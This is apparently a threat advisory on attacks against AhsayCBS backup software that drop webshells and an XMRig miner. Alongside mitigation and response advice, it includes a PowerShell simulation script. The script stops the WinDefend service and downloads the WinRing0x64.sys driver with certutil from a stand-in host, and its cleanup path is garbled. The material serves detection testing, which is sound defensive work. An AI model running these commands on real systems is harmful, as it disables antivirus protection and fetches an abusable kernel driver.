Threat Actors Exploit Critical AhsayCBS Flaws to Drop Webshells and XMRig Cryptominer

Summary

Threat actors are exploiting two critical vulnerabilities in AhsayCBS backup software to gain unauthenticated remote code execution. After obtaining access, attackers deploy JSP webshells and install XMRig cryptominers masquerading as Microsoft Edge processes. The campaign also uses an AI-assisted PowerShell script designed to evade detection by monitoring and interfering with Windows Task Manager.

Investigation

Huntress identified an exploitation chain combining CVE-2026-105133 for authentication bypass with CVE-2026-105134 for remote code execution. Researchers observed a modified NSSM utility renamed to msedge.exe and the vulnerable WinRing0x64.sys kernel driver being used to provide the miner with low-level hardware access. Post-exploitation activity also included creation of a malicious Windows service named MicrosoftEdgeUpdateSvc.

Mitigation

Organizations running AhsayCBS versions up to 10.3.4 should immediately limit access to the management interface to trusted IP addresses or VPN connections. Security updates should be applied as soon as they are released by the vendor. Administrators should also monitor for suspicious child processes launched from the AhsayCBS service executable.

Response

When indicators of compromise are detected, organizations should perform a complete host re-image from a trusted backup to eliminate potential secondary backdoors. Investigate unauthorized Windows services and suspicious files stored in Temp directories. Review network telemetry for connections to known cryptocurrency mining pools or Alibaba Cloud OSS hosting infrastructure.

Simulation Execution

• Attack Narrative & Commands: The adversary has successfully exploited the AhsayCBS service. To maintain persistence and deploy a cryptominer, they first spawn a command shell from the cbssvcX64.exe process. To evade detection, they launch a process named msedge.exe using the --daemonized argument, making it look like a legitimate background browser process. They then use PowerShell to stop security services (simulated via script block). Finally, they use certutil.exe to download WinRing0x64.sys, a driver used to facilitate low-level system access for their mining payload.

• Regression Test Script:

  # Simulation Script for AhsayCBS Post-Exploitation
  # NOTE: This script simulates the behavior by mimicking the process hierarchy and command lines.
  
  # 1. Simulate AhsayCBS spawning cmd.exe (requires specific process parentage context in real logs)
  # For simulation purposes, we will use a child process approach.
  $cbsProcess = Start-Process "cmd.exe" -ArgumentList "/c echo AhsayCBS Simulation" -PassThru
  
  # 2. Simulate Fake Edge Daemonized Process
  Start-Process "msedge.exe" -ArgumentList "--daemonized"
  
  # 3. Simulate Malicious PowerShell Script Block
  $maliciousScript = {
      Write-Host "Attempting to disable defenses..."
      Stop-Service -Name "WinDefend" -Force
      # Simulate interaction with Task Manager
      $taskManager = "Task Manager"
  }
  Invoke-Command -ScriptBlock $maliciousScript
  
  # 4. Simulate Certutil Driver Download
  Start-Process "certutil.exe" -ArgumentList "-urlcache -split -f https://example.com/WinRing0x64.sys"

• Cleanup Commands:

  # Cleanup: Terminate simulated processes and remove any downloaded artifacts.
  Stop-Process -Name "msedge" -ErrorAction SilentlyContinue
  Stop-Process -Name "cmd" -ErrorAction SilentlyContinue
  Remove-Item -Path "C:Users*DownloadsWinRing0x64.sys" -ErrorAction SilentlyContinue